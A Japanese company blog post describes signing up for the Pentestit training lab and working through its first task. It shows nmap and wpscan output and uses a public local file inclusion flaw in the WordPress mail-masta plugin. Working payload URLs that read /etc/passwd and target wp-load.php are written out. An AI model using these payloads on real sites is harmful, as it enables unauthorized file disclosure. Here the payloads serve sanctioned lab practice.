「Pentestit」というLab環境で遊んでみた
はじめに
こんにちは。大阪オフィスの林です。
「Pentestit」というサイトをご存じでしょうか?
「Pentestit」とは簡単に言うとセキュリティに関する攻撃の脅威やセキュリティに関する総合的な知識・知見を攻撃側の視点に立って学習するためのLab環境(CTF環境)です。無料で遊べるとのことだったのでやってみました!
注意点
はじめかた
Pentestitのユーザー登録
https://lab.pentestit.ru/にアクセスします。
トップページが表示されるので「SIGN IN」を選択します。
下記必要情報を入力後、「SUBMIT」を選択します。
「サインアップできたからメールを見てくれ」という旨のメッセージが表示されるのでメールを見ます。
Pentestitからメールが届いているのでリンクをクリックします。
登録したメールアドレスとパスワードを入力し「SUBMIT」を選択します。
もともと「SIGN IN」だったところが人型のアイコンに変わっていればログインできています。
OpenVPNの準備
Pentestitでは予め準備されているサーバのIPアドレスに対して様々なアクションを取っていきます。そのサーバへはOpenVPNで接続した後にアクセスが出来るようになっているので、OpenVPNのセットアップをしていきます。なおOpenVPNの基本的な概要やセットアップ方法はこちらをご確認ください。 https://www.openvpn.jp/
OpenVPNの接続に必要な情報はトップページの「HOW TO CONNECT」から確認します。
やってみた
こちらのYoutubeを参考に進めました。
本日(2020年1月29日)時点でアクティブなLab環境はTest lab 14だけっぽいので、Test lab 14でやっていきます。「JOIN THE LAB」を選択します。
lab14では、lab環境に複数埋め込まれているTokenとなるものを探し、探したTokenがあっているかをPentestisのサイト上でチェックし、合っていれば「Progress」のゲージがどんどん上がっていくというゲーム感覚で楽しめるようなlabになっていました。
それではlab用として用意されているサーバを対象に色々アクションしていきます。
まずは192.168.101.14
に対してポートスキャンをしてみます。
nmap 192.168.101.14
80
143
8080
のポートが空いていることが推測できます。
PORT STATE SERVICE 80/tcp open http 143/tcp open imap 8080/tcp open http-proxy
次に192.168.101.15
に対してポートスキャンをしてみます。
nmap 192.168.101.15
80
が空いていることが推測できます。
PORT STATE SERVICE 80/tcp open http
192.168.101.14
192.168.101.15
とも80番が空いてるようなのでブラウザからHTTPアクセスしてみます。
192.168.101.14
はsite.test.lab
にリダイレクトされ接続エラーになりました。
192.168.101.14
の接続エラーについてもう少し踏み込んでみます。192.168.101.14
でアクセスした際、site.test.lab
という名前に解決され接続がエラーになっていました。site.test.lab
でIPを引いてみます。
dig site.test.lab
192.168.179.1
がDNSサーバということが推測できましたが名前は解決できませんでした。
$ dig site.test.lab ; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> site.test.lab ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 12812 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ;site.test.lab. IN A ;; AUTHORITY SECTION: . 10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2020012900 1800 900 604800 86400 ;; Query time: 114 msec ;; SERVER: 192.168.179.1#53(192.168.179.1) ;; WHEN: Wed Jan 29 23:51:39 DST 2020 ;; MSG SIZE rcvd: 117
逆引きを調べてもレコードが無かったので、恐らく192.168.101.14(IPアドレス)
で接続した時に「site.test.lab
にリダイレクトする」みたいなWebサーバ側での設定が入っていて、site.test.lab
というホスト名のURLにリダイレクトされるけど、どっちみちsite.test.lab
のレコードが無いから解決できなくてアクセスできないみたいな挙動になっていると推測します。
なので「hosts」に192.168.101.14
に紐づくホスト名としてsite.test.lab
を直書きして、もう一度192.168.101.14
にHTTPアクセスしてみます。
$ cat /etc/hosts 127.0.0.1 localhost #追記 192.168.101.14 site.test.lab
次にChromeの拡張機能を使ってどのCMSで作られているか調べます。なお、拡張機能は、wappalyzerを使っています。今回アクセスしたサイトはWordpressで作成されていることが分かりました。
WordPressということが分かったのでwpscan
を使用してサイトをスキャンします。
$ wpscan --url http://site.test.lab/ --random-user-agent -e p
_______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.7.6 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ (省略) [i] Plugin(s) Identified: [+] mail-masta | Location: http://site.test.lab/wp-content/plugins/mail-masta/ | Latest Version: 1.0 (up to date) | Last Updated: 2014-09-19T07:52:00.000Z | | Found By: Urls In Homepage (Passive Detection) | | Version: 1.0 (100% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://site.test.lab/wp-content/plugins/mail-masta/readme.txt | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) | - http://site.test.lab/wp-content/plugins/mail-masta/readme.txt (省略)
メール機能にmail-masta
というプラグインを使っているということが推測できたので、公開されている脆弱性情報と併せて見ていきます。
https://github.com/hamkovic/Mail-Masta-Wordpress-Plugin-SQL-Injection-Vulnerability
https://packetstormsecurity.com/files/138481/WordPress-Mail-Master-1.0-Local-File-Inclusion.html
前述でアクセスしたhttp://site.test.lab/
にローカルファイルインクルージョンの脆弱性を突くパスを指定してみます。
http://site.test.lab/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php/?pl=/var/www/html/wordpress/wp-load.php
http://site.test.lab/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=//etc//passwd
脆弱性を突いたURLでアクセスすると/etc/passwd
の中身が見えちゃいました。
/etc/passwd
の中にTokenがあったのでコピーします。
lab14の画面に戻り「site」を選択しTokenを貼り付け、「CHECK TOKEN」を選択します。
「Task completed」というメッセージとともに「Progress」が5%になりました。
下に少しスクロールすると「ACTIONS」というエリアがあるのですが、Tokenが正解だったらここに履歴が残ります。
今回は「site」のTokenに対しての調査を実施しましたが、ほかの様々なところ(mail,ad,dbなど)に埋め込まれているTokenを調査して「Progress 100%」を目指します。
今回のブログではここまで!
まとめ
今回、Youtubeを見ながらいろいろとアクションしていきました。「どうやったらこんな攻撃を思いつくんだ!」という攻撃者側の発想に驚いたり、「でも現実世界でもこういった攻撃が行われてるんだよなぁ」というようなセキュリティに対するリテラシを高めてくれたりと色々気付きのあった楽しい時間でした。
Lab自体はこれだけで終わりではないですしいつでもできますし、世の中には「Pentestit」以外にも同じようにオンラインで学べる環境が幾つかあるようなので今後試していければと思います!
以上、大阪オフィスの林がお送りしました!